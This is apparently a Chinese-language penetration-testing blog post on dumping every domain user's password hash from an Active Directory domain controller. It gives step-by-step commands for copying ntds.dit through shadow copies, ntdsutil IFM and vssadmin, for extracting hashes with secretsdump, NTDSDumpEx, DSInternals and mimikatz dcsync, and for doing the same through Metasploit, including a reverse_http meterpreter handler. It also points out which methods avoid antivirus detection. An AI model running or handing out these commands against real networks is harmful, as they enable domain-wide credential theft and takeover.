内网-域控安全

域控安全

ntds.dit文件介绍

ntds.dit为ad的数据库,内容有域用户、域组、用户hash等信息域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、 sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,它和 SAM文件一样,被windows系统锁死

Ntds.dit位置

1
C:\Windows\NTDS

无法直接读取

image-20231024143739958

1.多种方式提取和移动ntds.dit文件

ntdsutils.exe提取ntds.dit

ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可 以在域控制器上直接操作,支持windows server 2003、2008、2012。提取过程分为3步:

第一步:创建快照

1
ntdsutil.exe snapshot "activate instance ntds" create q q

image-20231024144143033

可以看到快照的uid是 412baa5a-8ed7-43dd-8d05-adcdacff8c89

第二步:加载快照

1
ntdsutil.exe snapshot "mount {412baa5a-8ed7-43dd-8d05-adcdacff8c89}" q q

可以看到快照的地址为 C:\$SNAP_202310241441_VOLUMEC$

image-20231024144308936

第三步:复制快照中的ntds.dit文件

1
copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
1
copy C:\$SNAP_202310241441_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

image-20231024144728139

image-20231024144827916

第四步:删除快照

1
ntdsutil.exe snapshot "umount {412baa5a-8ed7-43dd-8d05-adcdacff8c89}" "delete {412baa5a-8ed7-43dd-8d05-adcdacff8c89}" q q

vssadmin提取ntds.dit

vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的 “diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012

第一步:创建快照

1
vssadmin create shadow /for=c:

{a7624614-2c64-43da-9034-96e064941bae}

image-20231024145326265

第二步:复制文件

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

image-20231024145557749

第三步:删除快照

1
vssadmin delete shadows /for=c: /quiet

vssown提取ntds.dit

vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动 和停止卷影复制服务

第一步:启动卷影复制服务

1
cscript vssown.vbs /start

image-20231024150330877

第二步:创建一个C盘的卷影副本

1
cscript vssown.vbs /create c

image-20231024150346331

第三步:列出当前卷影副本

1
cscript vssown.vbs /list

image-20231024150427754

第四步:复制文件:

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

image-20231024150510776

第五步:删除卷影副本

1
cscript vssown.vbs /delete {89370742-3E24-4B58-A4D8-4C5FA200D367}

image-20231024150646817

IFM

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。

第一步:

1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在C:\test\registry 文件夹下

image-20231024150817222

image-20231024150848008

第二步:删除

1
rmdir /s/q C:\test

impacket

通过 impacket 里的 secretsdump.exe 脚本可以直接远程读取 ntds.dit 并导出哈希值

1
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

2.离线方式读取ntds.dit文件(建议)

优点:不会报毒 缺点:需要传输ntds和system文件

离线一般需要两步:

1、将远端域控的ntds.dit下载到本地,

2、然后利用再在本地进行。

注意:因为system.hive里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容

命令如下:

1
reg save hklm\system c:\system.hive

下面介绍几种方式离线读取ntds.dit文件

esedbexport

1、以kali为例子,安装esedbexport

1
2
3
4
5
6
7
8
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20230318/libesedb-experimental-20230318.tar.gz
tar zxvf libesedb-experimental-20230318.tar.gz
cd libesedb-20230318
./configure
make
make install
ldconfig

将导出的文件放到该目录下

image-20231024153433922

2、导出 ntds.dit,两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文 件夹中

1
esedbexport -m tables ntds.dit

image-20231024153627833

3、安装 ntdsxtract

1
2
3
4
git clone https://github.com/csababarta/ntdsxtract
cd ntdsxtract
python2 setup.py build
python2 setup.py install

如果提示 ImportError: No module named Crypto.Hash,请执行 pip install pycryptodome

4、将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 1.txt 里

1
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee 1.txt
image-20231024160754284 image-20231024160734212

impacket

将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下

1
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

image-20231024161101499

NTDSDump.exe

NTDSDumpEx.exe 可以进行导出哈希值的操作

1
NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt

image-20231024161733259

image-20231024161710546

DSInternals

DSInternals是powershell脚本,可以离线读取ntds文件

安装DSInternals

1
Install-Module DSInternals -Force

导出 hash,并保存在 txt 文件里

1
2
$key = Get-Bootkey -SystemHivePath 'system路径'
Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey $key | Out-File output_hash.txt

3.在线方式读取ntds.dit文件

优点:不用传输文件 缺点:容易报毒

在线的方式就是直接读取不需要在导出ntds文件,在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃

mimikatz

1、可以读取所有用户的hash

1
lsadump::dcsync /domain:hack.com /all /csv

image-20231024165017064

2、也可以读取单个用户的hash

1
lsadump::dcsync /domain:hack.com /user:administrator

image-20231024165440160

Quarks PwDump

1、上传工具到目标机器,使用命令先导出ntds文件,然后直接读取

1
shell QuarksPWDump.exe --dump-hash-domain --ntds-file ntds.dit

image-20231024165727968

impacket

使用secretsdump直接读取

1
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
1
例如:secretsdump.exe hack/jack:Admin123@10.210.100.10 -outputfile 1.txt

image-20231024170218881

Invoke-DCSync

Invoke-DCSyncs是powershell脚本可以在线读取内存中的用户hash

1
2
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat

image-20231024171006721

4.MSF读取ntds.dit文件

离线读取

离线读取使用msf读取ntds文件,前提是msf必须和域控在相同网段,我们可以使用代理技术,将msf代理到内 网,然后使用msf导出ntds文件

1、使用导出模块进行导出

1
use auxiliary/admin/smb/psexec_ntdsgrab

2、填写相关的选项,主要有 IP,域,用户名和密码

1
2
3
4
5
set RHOSTS 10.210.100.10
set SMBDomain hack.com
set smbuser administrator
set smbpass Admin@123
run

image-20231025202120476

3、运行之后 ntds和system文件会被保存到/root/.msf4/loot下

image-20231025202840398

4、在相应的目录下找到该文件

5、使用相应的工具读取该文件即可

在线读取

1、使用cs或者其他的方式先上线的msf中使用派生会话的方式

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 本机ip
set lport 接受的端口
exploit 执行
image-20231025203518377

cs设置msf派生会话的监听器

image-20231025204037867 image-20231025204213021

image-20231025204352658

2、拿到shell之后执行hashdump,如果不能执行就迁移进程到64位中

image-20231025204552391

失败原因:使用的32位程序 使用migrate进行进程迁移

image-20231025204714172

image-20231025204747885

3、或者使用下面的脚本,也可以读取域内的hash

1
2
use post/windows/gather/smart_hashdump
set session id

image-20231025204927322


内网-域控安全
http://example.com/2023/11/03/内网-域控安全/
作者
r1
发布于
2023年11月3日
许可协议